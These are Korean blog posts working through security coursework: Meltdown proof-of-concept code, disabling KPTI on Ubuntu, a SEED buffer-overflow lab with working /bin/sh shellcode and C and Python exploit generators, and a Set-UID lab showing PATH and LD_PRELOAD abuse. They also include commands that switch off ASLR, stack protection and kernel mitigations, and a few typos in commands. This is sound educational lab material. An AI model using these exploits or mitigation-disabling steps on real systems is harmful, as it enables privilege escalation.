  asm volatile("1:\n"                                                          \
               "movzx (%%rcx), %%rax\n"                                         \
               "shl $12, %%rax\n"                                              \
               "jz 1b\n"                                                       \
               "movq (%%rbx,%%rax,1), %%rbx\n"                                 \
               :                                                               \
               : "c"(phys), "b"(mem)                                           \
               : "rax");

<Code 9. libkdump.c - libkdump_read_tsx()>

phys의 주소는 %%rcx가 mem의 주소는 %%rbx에 할당된다.

movzx (%%rcx), %%rax\n: *phys의 값을 %%rax에 mov 한다.

shl $12, %%rax: %%rax의 값을 12bit shift left 한다. (%%rax * 4096)

jax 1b\n: retry 한다.

movq (%%rbx, %%rax, 1), %%rbx\n: %%rbx에 *(mem + %%rax * 1)을 load 한다. 즉 load를 시도한다.

%%rax를 return 한다.

Metldown으로 cache에 인코딩한 값을 decoding 하기 위해서 flush_reload를 이용한다.(Code 10. 참고)

static int __attribute__((always_inline)) flush_reload(void *ptr) {
  uint64_t start = 0, end = 0;

  start = rdtsc();
  maccess(ptr);
  end = rdtsc();

  flush(ptr);

  if (end - start < config.cache_miss_threshold) {
    return 1;
  }
  return 0;
}

이전 libkdump_init() 함수에서 모든 ptr이 가리키는 주소를 flush 했기 때문에 Meltdown 공격에 의해 encoding 된 값만 cache에 load되어 있을 것이다.

각각, ptr을 접근하는데 걸리는 시간을 측정하고 다음 바이트 읽을 때 사용을 위해 ptr을 flush한다.

ptr을 load하는데 걸리는 시간이 cache hit과 같으면 return 1을 하여 성공적으로 byte 읽기에 성공했음을 말한다.

참고문헌: github.com/IAIK/meltdown

[Ubuntu 20.04] How to disable the KPTI

MarcoKhan — Wed, 20 Jan 2021 21:39:24 +0900

최신 CPU side-channel 공격을 이용하여 커널 메모리 영역을 exploit하고 싶다면 KTPI countermeasure를 disable 해야한다.

본 블로그에서는 최신 Ubuntu 20.04 환경에서 어떻게 KPTI를 disable 할 수 있는지 기술한다.

KPTI 적용 확인

간단히 커널 로그를 통해 현재 사용하고 있는 OS(Ubuntu 20.04)가 KPTI 방어기법을 enable하는지 disable하는지를 아래 명령어를 통해 확인 가능하다.

marco@css:~/Downloads$ dmesg  | grep Kernel/User
[    0.923955] Kernel/User page tables isolation: enabled

"Kernel/User page tables isolation: enabled"로 KTPI가 enabled 되어있는것을 확인할 수 있다.

혹은 아래 명령어로 현재 PC에 적용된 mitigations를 확인 가능하다.

$ cat /sys/devices/system/cpu/vulnerabilities/*
KVM: Mitigation: VMX unsupported
Mitigation: PTE Inversion
Mitigation: Clear CPU buffers; SMT vulnerable
Mitigation: PTI
Mitigation: Speculative Store Bypass disabled via prctl and seccomp
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, IBPB: conditional, IBRS_FW, STIBP: conditional, RSB filling
Not affected
Mitigation: Clear CPU buffers; SMT vulnerable

"Mitigation: PTI"가 적용된 것을 확인할 수 있다.

How to disable the KPTI

KPTI는 Kernel boot시 parameter를 넘겨줌으로써 diable할 수 있다.

$ sudo vi /etc/default/grub

  1 # If you change this file, run 'update-grub' afterwards to update
  2 # /boot/grub/grub.cfg.
  3 # For full documentation of the options in this file, see:
  4 #   info -f grub -n 'Simple configuration'
  5 
  6 GRUB_DEFAULT=0
  7 GRUB_TIMEOUT_STYLE=hidden
  8 GRUB_TIMEOUT=0
  9 GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
 10 GRUB_CMDLINE_LINUX_DEFAULT="quiet splash pti=off"
 11 GRUB_CMDLINE_LINUX=""
 12 
 13 # Uncomment to enable BadRAM filtering, modify to suit your needs
 14 # This works with Linux (no patch required) and with any kernel that obtains
 15 # the memory map information from GRUB (GNU Mach, kernel of FreeBSD ...)
 16 #GRUB_BADRAM="0x01234567,0xfefefefe,0x89abcdef,0xefefefef"
 17 
 18 # Uncomment to disable graphical terminal (grub-pc only)
 ...
 
 $ sudo update-grub
 $ sudo reboot

필자는 line 10에 "pit=off" 옵션을 추가했다.

KPTI disabled 적용 확인

KTPI가 잘 disabled 된 것을 확인할 수 있다.

$ cat /sys/devices/system/cpu/vulnerabilities/*
KVM: Mitigation: VMX unsupported
Mitigation: PTE Inversion
Mitigation: Clear CPU buffers; SMT vulnerable
Vulnerable
Mitigation: Speculative Store Bypass disabled via prctl and seccomp
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, IBPB: conditional, IBRS_FW, STIBP: conditional, RSB filling
Not affected
Mitigation: Clear CPU buffers; SMT vulnerable

SEEDLAB Chap 2: Buffer Overflow Vulnerability Lab

MarcoKhan — Sun, 17 Jan 2021 21:06:25 +0900

"Computer & Internet security : A Hand-on Approach" 서적의 내용 중 System security에 관련된 내용을 기술한다.

본 블로그에서는 4장 "Buffer Overflow Attack"에 대한 실습 내용을 풀이한다.

SEEDLAB에서 제공하는 실습 task 중 유의미한 task들에 대해서만 풀이를 진행한다.

Disable the mitigaitons

Task들을 시작하기 전에 최근 Ubuntu에 서 동작하는 몇몇 mitigaiton들을 disable 해야한다.

처음에는 모든 mitigaiton들을 disable 하겠지만 Task가 지나감에 따라 점점 enable하고 각각의 mitigation을 파훼한다.

* Address Space Layout Randomization(ASLR)

$ sudo sysctl -w kernel.randomize_va_space=0		// disable the ASLR
$ sudo sysctl -w kernel.randomize_va_space=1		// enable the ASLR on stack
$ sudo sysctl -w kernel.randomize_va_space=2		// enable the ASLR on stack and heap

* The StackGuard Protection Scheme

최근 GCC compiler는 stackguard라는 mitigation을 적용하고 있다. stack 영역에 canary를 default로 삽입한다.

따라서 stackguard mitigaiton을 disable 하기 위해서 -fno-stack-protector 옵션을 컴파일 할 때 주어야 한다.

gcc -fno-stack-protector example.c

* Non-Executable Stack

초기 우분투는 stack 영역에서의 코드 실행을 허락했지만 최근에는 binary에 직접 명시를 해주어야 한다.

(executable or non-executable)

최근 버전의 gcc는 default로 생성된 binary를 non-executable로 설정한다.

// For execuatble stack:
$ gcc -z execstack -o test test.c

// For non-executable stack:
$ gcc -z noexecstack -o test test.c

* Configuring /bin/sh

최근 Ubuntu는(12.04~16.04) /bin/sh는 /bin/dash에 symbolic link 되어 있다.

/bin/dash는 많은 공격들을 방어하기 위해 여러 방어기법을 적용했고 그 중 Set-UID bit check에 대한 방어기법도 추가했다.

간단하게 설명하면, dash 쉘에서 Set-UID process가 실행될 때 euid(effective user ID)와 ruid(real user ID)가 다르면 euid를 ruid로 설정하여 권한을 떨어뜨린다.

이러한 countermeasure가 적용되지 않은 /bin/zsh를 이용한다.

// Before we start an attack
$ sudo ln -sf /bin/zsh /bin/sh

// After we finished an attack
$ sudo ln -sf /bin/dash /bin/sh

Task 1: Running Shellcode

The shellcode that we use is just the assembly version. The following program shows how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked.

/* call_shellcode.c: You can get it from the lab’s website */
/* A program that launches a shell using shellcode */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
	"\x31\xc0" 				/* Line 1: xorl %eax,%eax */
	"\x50" 					/* Line 2: pushl %eax */
	"\x68""//sh" 			/* Line 3: pushl $0x68732f2f */
	"\x68""/bin"			/* Line 4: pushl $0x6e69622f */
	"\x89\xe3" 				/* Line 5: movl %esp,%ebx */
	"\x50" 					/* Line 6: pushl %eax */
	"\x53" 					/* Line 7: pushl %ebx */
	"\x89\xe1" 				/* Line 8: movl %esp,%ecx */
	"\x99" 					/* Line 9: cdq */
	"\xb0\x0b" 				/* Line 10: movb $0x0b,%al */
	"\xcd\x80" 				/* Line 11: int $0x80 */
;

int main(int argc, char **argv)
{
	char buf[sizeof(code)];
	strcpy(buf, code);
    
	((void(*)( ))buf)( );
    
    return 0;
}

Compile the code above using the following gcc command. Run the program and describe your observations. Please do not forget to use the execstack option, which allows code to be executed from the stack; without this option, the program will fail.

$ gcc -z execstack -o call_shellcode call_shellcode.c

You will be provided with the following program, which has a buffer-overflow vulnerability in Line A. Your job is to exploit this vulnerability and gain the root privilege. The vulnerable program is described as follow:

/* Vunlerable program: stack.c */
/* You can get this program from the lab’s website */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won’t be able to use the solutions from the past.
* Suggested value: between 0 and 400 */

#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str)
{
	char buffer[BUF_SIZE];
    
	/* The following statement has a buffer overflow problem */
	strcpy(buffer, str);   // Line A
    
	return 1;
}

int main(int argc, char **argv)
{
	char str[517];
	FILE *badfile;
    
	/* Change the size of the dummy array to randomize the parameters
	for this lab. Need to use the array at least once */
	char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);
    
	badfile = fopen("badfile", "r");
	fread(str, sizeof(char), 517, badfile);
    
	bof(str);
	printf("Returned Properly\n");
    
	return 1;
}

To compile the above vulnerable program, don't forget to trun off some countermeasures(the StackGuard and the non-executable stack protection) as below:

$ gcc -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack
$ sudo chmod 4755 stack

Task 2: Exploiting the Vulnerability

[01/19/21]seed@VM:~/.../BOF$ gdb -q stack
Reading symbols from stack...(no debugging symbols found)...done.
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1
gdb-peda$ r
Starting program: /home/seed/Computer_Security/SEEDLAB/BOF/stack 

Breakpoint 1, 0x080484f1 in bof ()
gdb-peda$ disas bof
Dump of assembler code for function bof:
   0x080484eb <+0>:	push   %ebp
   0x080484ec <+1>:	mov    %esp,%ebp
   0x080484ee <+3>:	sub    $0x28,%esp
=> 0x080484f1 <+6>:	sub    $0x8,%esp
   0x080484f4 <+9>:	pushl  0x8(%ebp)
   0x080484f7 <+12>:	lea    -0x20(%ebp),%eax
   0x080484fa <+15>:	push   %eax
   0x080484fb <+16>:	call   0x8048390 <strcpy@plt>
   0x08048500 <+21>:	add    $0x10,%esp
   0x08048503 <+24>:	mov    $0x1,%eax
   0x08048508 <+29>:	leave  
   0x08048509 <+30>:	ret    
End of assembler dump.

gdb-peda$ p $ebp
$1 = (void *) 0xbfffea88

우리가 공격할 위치인 bof's RET의 주소를 알기 위해서 gdb를 이용해 bof's ebp address를 알 수 있다.

gdb를 기반으로 분석해보았을 때 bof's ebp 주소가 0xbfffea88이라는 것을 알아냈다.

또한 "0x080484f7 <+12>: lea -0x20(%ebp),%eax ", "0x080484fa <+15>: push %eax"을 통해서 ebp-0x20의 위치에 buffer가 존재하여 해당 주소를 strcpy의 parameter로 전달하는 것을 확인할 수 있다.

이를 바탕으로 stack.c를 컴파일 했을 때 생성된 stack 바이너리를 분석하면 아래와 같은 메모리 구조를 얻을 수 있다.

우리가 공격할 address의 주소는 0xbfffea8c라는 것을 확인하였다. nop padding은 수행되어져 있기 때문에 bof's RET와 적절한 위치에 shellcode를 삽입하면 된다.

C와 python으로 작성된 exploit 소스는 다음과 같다.

exploit.c

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strncpy(buffer+36, "\x8c\xea\xff\xbf",4);
    strncpy(buffer+200, shellcode, sizeof(shellcode));

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

exploit.py

#!/usr/bin/python3
import sys

shellcode= (
   "\x31\xc0"    # xorl    %eax,%eax
   "\x50"        # pushl   %eax
   "\x68""//sh"  # pushl   $0x68732f2f
   "\x68""/bin"  # pushl   $0x6e69622f
   "\x89\xe3"    # movl    %esp,%ebx
   "\x50"        # pushl   %eax
   "\x53"        # pushl   %ebx
   "\x89\xe1"    # movl    %esp,%ecx
   "\x99"        # cdq
   "\xb0\x0b"    # movb    $0x0b,%al
   "\xcd\x80"    # int     $0x80
).encode('latin-1')


# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode

##################################################################
ret    = 0xbfffea8c   # replace 0xAABBCCDD with the correct value
offset = 36            # replace 0 with the correct value

content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

Task 3: Defeating dash's Countermeasure

As we have explained before, the dash shell in Ubuntu 16.04 drops privileges when it detects that the effective UID does not equal to the real UID. This can be observed from dash program’s changelog, which compares real and effective user/group IDs.

The countermeasure implemented in dash can be defeated. One approach is not to invoke /bin/sh in our shellcode; instead, we can invoke another shell program. This approach requires another shell program, such as zsh to be present in the system. Another approach is to change the real user ID of the victim process to zero before invoking the dash program. We can achieve this by invoking setuid(0) before executing execve() in the shellcode. In this task, we will use this approach. We will first change the bin/sh symbolic link, so it points back to /bin/dash:

$ sudo ln -sh /bin/dash /bin/sh

To see how the countermeasure in dash works and how to defeat it using the system call setuid(0), we write the following C program. We first comment out Line A and run the program as a Set-UID program (the owner should be root); please describe your observations. We then uncomment Line A and run the program again; please describe your observations.

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
        char *argv[2];
        argv[0] = "/bin/sh";
        argv[1] = NULL;

        // setuid(0);                   // Line A
        execve("/bin/sh", argv, NULL);

        return 0;
}

The above program can be compiled and set up using the following commands (we need to make it root-owned Set-UID program):

$ gcc dash_shell_test.c -o dash_shell_test
$ sudo chown root dash_shell_test
$ sudo chmod 4755 dash_shell_test

setuid(0)를 comment하면 dash 내부 coutermeasure로 인해 euid와 ruid가 동일하지 않아 ruid 권한을 갖는 shell을 띄운다. 하지만 setuid(0)를 uncommnet하면 ruid와 euid가 동일해지기 때문에 dash에 적용된 countermeasure를 우회하여 root shell을 띄울 수 있다.

From the above experiment, we will see that seuid(0) makes a difference. Let us add the assembly code for invoking this system call at the beginning of our shellcode, before we invoke execve().

char shellcode[] =
"\x31\xc0" 				/* Line 1: xorl %eax,%eax */
"\x31\xdb"				/* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" 				/* Line 3: movb $0xd5,%al */
"\xcd\x80" 				/* Line 4: int $0x80 */
// ---- The code below is the same as the one in Task 2 ---
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"

Task 4: Defeating Address Randomization

On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have 2^19 = 524,288 possibilities. This number is not that high and can be exhausted easily with the brute-force approach. In this task, we use such an approach to defeat the address randomization countermeasure on our 32-bit VM. First, we turn on the Ubuntu’s address randomization using the following command. We run the same attack developed in Task 2. Please describe and explain your observation.

$ sudo /sbin/sysctl -w kernel.randomize_va_space=2

We then use the brute-force approach to attack the vulnerable program repeatedly, hoping that the address we put in the badfile can eventually be correct. You can use the following shell script to run the vulnerable program in an infinite loop. If your attack succeeds, the script will stop; otherwise, it will keep running. Please be patient, as this may take a while. Let it run overnight if needed. Please describe your observation.

#!/bin/bash

SECONDS=0
value=0

while [ 1 ]
        do
        value=$(( $value + 1 ))
        duration=$SECONDS
        min=$(($duration / 60))
        sec=$(($duration % 60))
        echo "$min minutes and $sec seconds elapsed."
        echo "The program has been running $value times so far."
        ./stack
done

brute-force 공격의 핵심은 stack에 적용된 ASLR의 entropy가 2^19이기 때문에 평균 262,144번 공격을 시도하면 한 번은 공격에 성공할 것을 기저에 두고 시도하는 공격이다. 충분한 시간을 가지고 공격하면 root shell을 얻을 수 있을것이다.

Task 5: Turn on the StackGurad Protection

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection. In our previous tasks, we disabled the StackGuard protection mechanism in GCC when compiling the programs. In this task, you may consider repeating Task 2 in the presence of StackGuard. To do that, you should compile the program without the -fno-stack-protector option. For this task, you will recompile the vulnerable program, stack.c, to use GCC StackGuard, execute task 1 again, and report your observations. You may report any error messages you observe. In GCC version 4.3.3 and above, StackGuard is enabled by default. Therefore, you have to disable StackGuard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a older GCC version, you may not have to disable StackGuard.

gcc -o stack -z execstack stack.c
./stack
*** stack smashing detected ***: ./stack terminated
Aborted

우리는 StackGuard countermeasure 때문에 "*** stack smashing detected ***" 문구와 함께 ./stack program이 종료된 것을 확인할 수 있다. 이것은 우리의 BOF 공격이 canary를 다른 값으로 overwriting 했기 때문에 발생했다.

Task 6: Turn on the Non-executable Stack Protection

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection. In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable program using the noexecstack option, and repeat the attack in Task 2. Can you get a shell? If not, what is the problem? How does this protection scheme make your attacks difficult. You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the nonexecutable stack protection.

$ gcc -o stack -fno-stack-protector -z noexecstack stack.c

It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a buffer-overflow vulnerability. The return-to-libc attack is an example. We have designed a separate lab for that attack.

SEEDLAB Chap 1: Environment Variable and Set-UID Program Lab

MarcoKhan — Tue, 12 Jan 2021 17:13:36 +0900

"Computer & Internet security : A Hand-on Approach" 서적의 내용 중 System security에 관련된 내용을 기술한다.

본 블로그에서는 1장 "Set-UID Programs", 2장 "Environmetn Variables and Attacks"에 대한 실습 내용을 풀이한다.

SEEDLAB에서 제공하는 실습 task 중 유의미한 task들에 대해서만 풀이를 진행한다.

Task 2: Passing Environment Variables from Parent Process to Child Process

Goal: How a child process gets its environment variables from its parent

Step 1. Please compile and run the following program, and describe your observation. Because the output contains many strings, you should save the output into a file, such as using a.out > child (assuming that a.out is your executable file name).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
void printenv()
{
    int i = 0;
 
    while (environ[i] != NULL) {
        printf("%s\n", environ[i]);                                                                        
        i++;
    }
}
 
void main()
{
    pid_t childPid;
 
    switch(childPid = fork()) {
        case 0: /* child process */
            printenv(); 
            exit(0);
        default: /* parent process */
            //printenv(); 
            exit(0);
    }
}
Colored by Color Scripter

cs

Step 2. Now comment out the printenv() statement in the child process case (Line 23), and uncomment the printenv() statement in the parent process case (Line 26). Compile and run the code again, and describe your observation. Save the output in another file.

Step 3. Compare the difference of these two files using the diff command. Please draw your conclusion.

Answer.

프로세스가 environment variables를 얻는 방법은 두 가지 방법이 있다.

첫 번째 방법은 프로세스가 fork() system call에 의해서 생성되었을 때 child process는 parent process 메모리 공간의 복사본을 사용하고 parent process의 environment variables 또한 그대로 복사하여 사용한다.

두 번째 방법은 execve() system call을 사용했을 때이다. execve() system call은 현재 메모리 주소 공간(text, data, bss, and stack)을 parameter로 전달받은 새로운 프로그램으로 덮어쓴다. 여기서 execve() 함수의 paramter로 environment variables의 array를 전달해 줄 수 있고 이것이 새로운 프로그램의 environment variables가 된다.

우리가 의미있게 고민해야할 점은 line 21에서 fork() system call를 이용해 새로운 child process를 생성했고, child process or parent process가 현재 사용하는 environment variables를 파일로 각각 redirect하여 비교하는 것이다.

이것은 위에서 설명한 environment variables를 얻는 두 가지 방법 중 첫 번째 방법에 해당하며 child process와 parent process의 environment variables가 동일할 것을 확인할 수 있으며 diff 명령어를 통해 실제로 두 프로세스의 environment variables가 같다는 것을 확인할 수 있다.

-- environ 변수는 전역변수로 선언되어 있으며 environment variables의 array를 가리키는 pointer이다. extern keyworad를 사용해 eviron 변수에 접근할 수 있다.

-- fork()는 새로운 프로세스(child process)를 생성하는 system call이며, parent process는 child process의 PID를 return 받고, child process는 0을 return 받는다.

Task 3: Environment Variables and execve()

Goal: How a child process gets its environment variables from its parent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
extern char **environ;
 
int main()
{
    char *argv[2];
 
    argv[0] = "/usr/bin/env";
    argv[1] = NULL;
    execve("/usr/bin/env", argv, NULL); 
    //execve("/usr/bin/env", argv, envrion);                                                                    
 
    return 0 ;
}
Colored by Color Scripter

cs

Step 2. Change the invocation of execve() in Line À to the following; describe your observation.

execve("/usr/bin/env", argv, environ);

Step 3. Please draw your conclusion regarding how the new program gets its environment variables.

Answer.

Task2에서 설명한 것처럼 execve() system call을 이용하여 process를 생성할 때 현재 process의 메모리 영역을 새로운 프로그램으로 덮어쓴다. 그 과정에서 기존의 environment variable는 모두 사라지고, execve() systemcall의 parameter로 environment variable이 전달된다.

line 13을 uncomment한 상태로 실행하게되면 /usr/bin/env를 실행한다 하더라도 environment array list가 NULL이기 때문에 아무런 envrionment variables를 출력하지 않는다.

line 13을 comment하고 line 14를 uncomment하면 덮어 쓸 프로그램의 environment array list로 현재 process의 environment variables가 전달된다. 따라서 이 때는 현재 process의 envrionment variables를 상속 받는다.(Figure 1)

Figure 1.

Task 4: Environment Variables and system()

Goal: How environment variables are affected when a new program is executed via the system() function

Please compile and run the following program and describe your observation. (detail)

1
2
3
4
5
6
7
8

#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    system("/usr/bin/env");                                                                                        
    return 0 ;
}
Colored by Color Scripter

cs

Answer.

system() 함수는 실제로 "/bin/sh -c command"와 동일하다. 실제 system 함수의 구현을 보면 fork()를 수행한 후 child process는 /bin/sh를 실행한 후 execl() 함수를 실행한다. execl() 함수의 원형은 "int execl(const char *path, const char *arg, ...);" 과 같으며 environment variables는 현재 process(/bin/sh)의 environment variables를 상속받는다.

또한 일반적으로 shell program이 시작할 때 현재 process의 envrionment를 shell variable로 복사한다. 따라서 엄연히 shell variable와 envrionment variables는 다르다.

즉, Task 4의 flow를 보면 현재 process의 environment variables가 fork() 이후 child process와 동일하고 child process는 execl() 함수를 이용해 /bin/sh; /usr/bin/env 명령을 실행한다. execl() 함수는 현재 process(child process)의 environment variables를 자동으로 넘겨받기 때문에 현재 process의 environment variables가 전달된다.

** child process의 environment variables는 parent process가 이전에 environment variables로부터 복사한 shell variables와 사용자가 직접 정의한 shell variables(exported)를 environment variables로 사용한다.

Task 5: Environment Variables and Set-UID Programs()

Goal: How a environment variables effect on Set-UID program

Step 1. Write the following program that can print out all the environment variables in the current process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14

#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
void main()
{
    int i = 0;
 
    while (environ[i] != NULL) {
        printf("%s\n", environ[i]);                                                                        
        i++;
    }
}
Colored by Color Scripter

cs

Step 2. Compile the above program, change its ownership to root, and make it a Set-UID program.

1
2
3

// Asssume the program’s name is foo                                                                                    
$ sudo chown root foo
$ sudo chmod 4755 foo
Colored by Color Scripter

cs

Step 3. In your shell (you need to be in a normal user account, not the root account), use the export command to set the following environment variables (they may have already exist):

• PATH
• LD LIBRARY PATH
• ANY NAME (this is an environment variable defined by you, so pick whatever name you want).

Describe your observation.

Answer.

지금까지의 task와 마찬가지로 shell이 program을 실행할 때 fork()를 이용해 child process를 생성하고 exec()를 이용해 현재 process를 덮어 쓴다. 이 과정에서 현재 process의 environment variable를 상속받고 Set-UID 프로그램 역시 영향을 받는다.

* PATH 변수를 변경할 때는 "export PATH=[추가할 path]$PATH"로 해야한다.

Task 6: The PATH Environment Variable and Set-UID Programs

Goal: Understand the effect of PATH environment variables on Set-UID Programs

In Bash, you can change the PATH environment variable in the following way (this example adds the directory /home/seed to the beginning of the PATH environment variable):

$ export PATH=/home/seed:$PATH

The Set-UID program below is supposed to execute the /bin/ls command; however, the programmer only uses the relative path for the ls command, rather than the absolute path:

1
2
3
4
5

int main()
{
    system("ls");                                                                                                        
    return 0;
}
Colored by Color Scripter

cs

Please compile the above program, and change its owner to root, and make it a Set-UID program. Can you let this Set-UID program run your code instead of /bin/ls? If you can, is your code running with the root privilege? Describe and explain your observations.

Note(Ubuntu 16.04 patch): Before we start it, you need to command bellow.

Before we start it: $ sudo ln -sf /bin/zsh /bin/sh

After we finshed it: $ sudo ln -sf /bin/dash /bin/sh

Answer.

지금까지의 system() system call을 사용하면 내부적으로 "/bin/sh -c command"와 동일하기 때문에 현재 process가 사용하고 있는 environment variables와 export로 선언한 shell variables가 새로운 process의 environment variables로 전달된다. 또한 우리가 command를 입력할 때 full path를 입력하지 않아도 shell은 PATH 변수 list를 차례차례 찾아보고 실행한다.

"$ export PATH=/home/seed:$PATH"로 인해 만일 ls라는 프로그램이 /home/seed 위치에 있다면 system 함수는 우리가 예상하는 /bin/ls 명령어 대신 /home/seed/ls 명령어를 실행할 것이다. 아래와 같이 ls.c를 작성하고 실험해보면 "your Set-UID program is danger!!\n"을 출력한다. 더 심각하게는 shadows 파일 등 root 권한으로 다양한 program을 실행시킬 수 있다.

#include <stdio.h>

int main(void)
{
        printf("your Set-UID program is danger!!\n");
        return 0;
}
~

Task 7: The LD_PRELOAD Environment Variable and Set-UID Programs

Goal: Understand the effect of LD_PRELOAD environment variables on Set-UID Programs

Step 1. First, we will see how these environment variables influence the behavior of dynamic loader/linker when running a normal program. Please follow these steps:

1. Let us build a dynamic link library. Create the following program, and name it mylib.c. It basically
overrides the sleep() function in libc:

#include <stdio.h>

void sleep (int s)
{
	/* If this is invoked by a privileged program,
	you can do damages here! */
	printf("I am not sleeping!\n");
}

2. We can compile the above program using the following commands.

$ gcc -fPIC -g -c mylib.c

$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc

3. Now, set the LD PRELOAD environment variable:

$ export LD_PRELOAD=./libmylib.so.1.0.1

4. Finally, compile the following program myprog, and in the same directory as the above dynamic link
library libmylib.so.1.0.1:

/* myprog.c */
int main()
{
	sleep(1);
	return 0;
}

Step 2. After you have done the above, please run myprog under the following conditions, and observe
what happens.

• (1) Make myprog a regular program, and run it as a normal user.
• (2) Make myprog a Set-UID root program, and run it as a normal user.
• (3) Make myprog a Set-UID root program, export the LD PRELOAD environment variable again in the root account and run it.
• (4) Make myprog a Set-UID user1 program (i.e., the owner is user1, which is another user account), export the LD PRELOAD environment variable again in a different user’s account (not-root user) and run it.

Step 3. You should be able to observe different behaviors in the scenarios described above, even though
you are running the same program. You need to figure out what causes the difference. Environment variables
play a role here. Please design an experiment to figure out the main causes, and explain why the behaviors
in Step 2 are different. (Hint: the child process may not inherit the LD * environment variables).

Answer.

다른 environment variables와 마찬가지로 export로 선언된 LD_PRELOAD 또한 새로운 program이 시작할 때 environment variables로 전달된다.

Step2-(1)에서는 LD_PRELOAD를 이용해 우리가 새로 생성한 libmylib.so.1.0.1을 이용해 재정의된 sleep() 함수를 실행하는 것을 확인할 수 있다.

Step2-(2)에서는 myprog 프로그램을 Set-UID 권한을 가진 root 프로그램으로 변경하였다. 최근 환경에서는 dynamic linker (ld.so or ld-linux.so)에 countermeasure가 적용되어 있는데 process의 real ID와 effective ID가 다르면 LD_PRELOAD를 environment variables를 무시한다. 따라서 sleep() 함수가 실행되는 것을 확인할 수 있다.

-- The real user ID: process를 실행시키는 user

-- The effective user ID: access control을 위해 사용되는 user

[01/11/21]seed@VM:~/.../SEEDLAB$ gcc -fPIC -g -c mylib.c
[01/11/21]seed@VM:~/.../SEEDLAB$ export LD_PRELOAD=./libmylib.so.1.0.1 
[01/11/21]seed@VM:~/.../SEEDLAB$ ./myprog 					// step2-(1)
I am not sleeping!
[01/11/21]seed@VM:~/.../SEEDLAB$ sudo chown root myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ sudo chmod 4755 myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ ll myprog
-rwsr-xr-x 1 root seed 7348 Jan 11 07:07 myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ ./myprog 					// step2-(2)
[01/11/21]seed@VM:~/.../SEEDLAB$

Step2-(3)는 process의 real ID와 effective ID가 동일하기 때문에 LD_PRELOAD environment variables가 무시되지 않고 실행되는 것을 확인할 수 있다.

[01/11/21]seed@VM:~/.../SEEDLAB$ sudo su
root@VM:/home/seed/Computer_Security/SEEDLAB# export LD_PRELOAD=./libmylib.so.1.0.1 
root@VM:/home/seed/Computer_Security/SEEDLAB# ./myprog 			// step2-(3)
I am not sleeping!

Step2-(4)도 마찬가지로 process의 real ID와 effective ID가 다르기 때문에 LD_PRELOAD가 무시되고 sleep() 함수가 실행된다.

[01/11/21]seed@VM:~/.../SEEDLAB$ sudo useradd -d /usr/user1 -m user1
[01/11/21]seed@VM:~/.../SEEDLAB$ sudo chown user1 myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ sudo chmod 4755 myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ ll myprog
-rwsr-xr-x 1 user1 seed 7348 Jan 11 07:07 myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ export LD_PRELOAD=./libmylib.so.1.0.1 
[01/11/21]seed@VM:~/.../SEEDLAB$ ./myprog 				// step2-(4)
[01/11/21]seed@VM:~/.../SEEDLAB$

** LD_PRELOAD: shared library를 위한 environment variables로서 LD_LIBRARY_PATH와 더불어 추가적인 shared library의 위치를 알려준다.

Task 8: Invoking External Programs Using system() versus execve()

